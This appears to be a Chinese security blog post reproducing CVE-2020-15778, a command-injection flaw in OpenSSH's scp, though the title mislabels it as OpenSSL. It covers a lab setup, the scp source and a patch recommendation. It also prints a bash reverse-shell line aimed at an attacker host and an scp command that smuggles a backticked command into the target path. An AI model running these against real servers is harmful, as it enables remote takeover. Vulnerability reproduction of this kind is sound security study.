CVE-2020-15778 OpenSSL漏洞复现


CVE-2020-15778 OpenSSL

影响版本

OpenSSH <= 8.3p1

漏洞介绍

漏洞公开披露2020年7月18日,openssh 8.3p1的SCP命令存在命令注入漏洞,攻击者可以利用此漏洞执行任意命令。

局限性

适用范围小,需要知道root用户密码,最大最用为ssh无法连接,但scp可以使用时

环境搭建

使用iptables策略搭建环境,禁用ssh登录,只保留scp(CentOS)

  1. 关闭自带防火墙(firewalld)
停止firewalld服务 
$ systemctl stop firewalld
  1. 设置iptables策略
service iptables start
iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP
service iptables save
iptables -L -n --line-number 

image-20210224210808492

验证

scp功能正常使用,但是ssh在输入密码后,无任何回响,无法连接,证明iptables策略成功有效。

image-20210224211255664

image-20210224211123362

漏洞复现

在kali里面新建1.sh,写入反弹shell的bash命令

bash -i >& /dev/tcp/10.7.5.120>&1

image-20210224211415668

kali监听6666端口

image-20210224211522082

使用scp命令传输文件到CentOS的/tmp目录

image-20210224211630066

image-20210224211703168

命令执行,运行1.sh

scp 1.sh root@192.168.1.135:/'`sh /tmp/1.sh`'

image-20210224211800626

漏洞分析

scp命令源码

if (remin == -1) {
    xasprintf(&bp, "%s -t %s%s", cmd,
        *targ == '-' ? "-- " : "", targ);
    if (do_cmd(thost, tuser, tport, bp, &remin,
        &remout) < 0)
        exit(1);
    if (response() < 0)
        exit(1);
    free(bp);
}

当执行本地scp命令时,scp不会检查、过滤和清除文件名。这使得攻击者执行带有反引号的有效scp命令时,本地shell还将执行反引号中的命令。

修复建议

补丁/升级


文章作者: Sheng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Sheng !
  目录